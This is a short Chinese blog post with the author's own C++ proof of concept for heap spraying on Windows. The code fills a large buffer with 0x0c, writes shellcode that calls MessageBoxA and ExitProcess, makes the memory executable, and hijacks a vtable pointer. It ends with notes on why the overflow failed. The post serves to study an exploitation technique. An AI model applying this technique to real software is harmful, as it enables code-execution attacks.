引自：https://blog.csdn.net/lixiangminghate/article/details/53413863

照着作者的意思，自己的测试代码：

#include <iostream>
#include <windows.h>
#include <stdio.h>

class base
{
	char m_buf[8];
public:

	virtual int baseInit1()
	{
		printf("%s\n", "baseInit1");
		return 0;
	}
	virtual int baseInit2()
	{
		printf("%s\n", "baseInit2");
		return 0;
	}
};


int main()
{
	unsigned int bufLen = 200 * 1024 * 1024;

	char buff[8] = { 0 };

	base* baseObj = new base;

	char* spray = new char[bufLen];

	memset(spray, 0x0c, sizeof(char) * bufLen);
	memset(spray + bufLen - 0x10, 0xcc, 0x10);

	char* offset = (char*)spray + bufLen - 0x100;

	FARPROC msgbox = GetProcAddress(LoadLibraryA("user32.dll"), "MessageBoxA");

	FARPROC exitproc = GetProcAddress(LoadLibraryA("kernel32.dll"), "ExitProcess");

	//memset(offset - 0x10, 0xcc, 0x10);

	*(USHORT*)(offset - 10) = 0xcccc;

	*(USHORT*)(offset - 8) = 0x006a;		//push dword ptr 0
	*(USHORT*)(offset - 6) = 0x006a;
	*(USHORT*)(offset - 4) = 0x006a;
	*(USHORT*)(offset - 2) = 0x006a;

	*(UCHAR*)offset = 0xe8;			//call
	DWORD msgboxaddr = (DWORD)msgbox - ((DWORD)offset + 5);
	*(DWORD*)(offset + 1) = (DWORD)msgboxaddr;

	*(USHORT*)(offset + 5) = 0x006a;
	*(UCHAR*)(offset + 7) = 0xe8;
	DWORD exitprocaddr = (DWORD)exitproc - ((DWORD)offset + 12);
	*(DWORD*)(offset + 8) = (DWORD)exitprocaddr;

	DWORD old;
	int result = VirtualProtect(spray, bufLen, PAGE_EXECUTE_READWRITE, &old);

	strcpy(buff, "12345678\x0c\x0c\x0c\x0c");

	*(DWORD*)baseObj = 0x0c0c0c0c;

	baseObj->baseInit1();

	return 0;
}

执行时的反汇编分析：

注意：

1. vs2019中执行"strcpy(buff, “12345678\x0c\x0c\x0c\x0c”);"并不能覆盖baseObj 的类地址，通过调试，发现两者地址并不是紧挨着的。攻击时，如何通过相邻地址覆盖，是一个值得思考的问题。
   

2. 堆喷射必须要设置堆内存的可执行属性。

3. 总体的思路就是，分配大块的内存，将内存地址设置为0x0c0c0c0c（也可以设置为其他值），0x0c在32位模式下，是or al,0x0c 的机器码。通过覆盖虚函数表地址指针，将虚函数转移到分配的堆地址执行，在堆的末尾添加的payload即可得到执行。